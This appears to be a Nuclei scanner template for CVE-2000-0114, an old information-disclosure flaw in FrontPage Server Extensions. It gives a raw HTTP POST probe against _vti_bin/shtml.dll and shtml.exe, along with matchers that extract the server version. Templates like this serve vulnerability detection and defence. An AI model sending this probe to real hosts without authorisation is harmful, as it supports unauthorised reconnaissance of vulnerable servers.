CVE-2000-0114: Microsoft FrontPage Extensions - Information Disclosure

id: CVE-2000-0114

info:
  name: Microsoft FrontPage Extensions - Information Disclosure
  author: r3naissance,matejsmycka
  severity: medium
  description: |
    Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.
  remediation: Upgrade to the latest version.
  reference:
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/CVE-2000-0114
    - https://github.com/adityaks/sparty/blob/777fd944e5d9ff0c5837a5a4f2c8e5c58a11c357/sparty_v_0.1/sparty_v_0.1.py#L298
    - https://nvd.nist.gov/vuln/detail/CVE-2000-0114
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2000-0114
    epss-score: 0.07682
    epss-percentile: 0.91577
    cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: internet_information_server
    shodan-query: cpe:"cpe:2.3:a:microsoft:internet_information_server"
  tags: cve,cve2000,frontpage,microsoft,edb

http:
  - raw:
      - |
        POST /{{path}} HTTP/1.1
        Host: {{Hostname}}
        X-Vermeer-Content-Type: application/x-www-form-urlencoded

        method=server+version

    payloads:
      path:
        - "_vti_bin/shtml.dll/_vti_rpc"
        - "_vti_bin/shtml.exe/_vti_rpc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'major ver='
          - 'minor ver='
          - 'ver incr='
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'version:([0-9.]+)'
# digest: 4b0a00483046022100a0b9d0b7436545ee80a4ffd3dbba9eea5b4f02e594059e4fd1bde847a3c1688b022100d8610595c1efd303e995561e87bfffa8abdc7e4104fcd7bdd11548fd9323b505:922c64590222798bb761d5b6d8e72950